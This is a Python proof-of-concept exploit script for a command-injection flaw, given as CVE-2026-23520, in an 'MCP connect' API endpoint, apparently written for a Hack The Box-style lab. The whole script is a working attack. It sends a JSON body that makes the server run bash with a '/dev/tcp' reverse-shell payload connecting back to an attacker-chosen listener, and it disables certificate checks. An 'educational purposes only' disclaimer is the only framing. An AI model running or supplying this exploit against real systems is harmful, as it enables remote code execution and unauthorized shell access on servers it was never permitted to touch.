import requests import sys import urllib3 import argparse # Disable insecure SSL warnings (common in CTF/Lab environments) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # --- EDUCATIONAL PURPOSES ONLY --- # This script demonstrates the exploitation of CVE-2026-23520 (Command Injection) # via the MCP connect endpoint, specifically handling virtual host routing. # Do not use this against systems you do not own or have explicit permission to test. def exploit(rhost, rport, vhost, lhost, lport): """ Constructs and sends the malicious payload to the vulnerable endpoint. """ url = f"https://{rhost}:{rport}/api/mcp/connect" # Force the Host header to reach the specific virtual host headers = { "Host": vhost, "Content-Type": "application/json" } # Standard reverse shell payload payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'" # The vulnerability: 'command' and 'args' are not properly sanitized data = { "serverConfig": { "command": "bash", "args": ["-c", payload], "env": {} }, "serverId": "exploit" } print(f"[*] Target: {url}") print(f"[*] Virtual Host (Host Header): {vhost}") print(f"[*] Sending payload to connect back to {lhost}:{lport}...") try: # A timeout is expected because the reverse shell holds the connection open response = requests.post(url, json=data, headers=headers, verify=False, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.ReadTimeout: print("[+] Read timed out! This usually means the reverse shell was triggered successfully.") print("[+] Check your netcat listener.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Educational PoC for CVE-2026-23520 (MCP Connect RCE)") parser.add_argument("rhost", help="Target IP address") parser.add_argument("rport", help="Target Port (e.g., 443)") parser.add_argument("vhost", help="Target Virtual Host (e.g., mcp.kobold.htb)") parser.add_argument("lhost", help="Listener IP address") parser.add_argument("lport", help="Listener Port") args = parser.parse_args() exploit(args.rhost, args.rport, args.vhost, args.lhost, args.lport)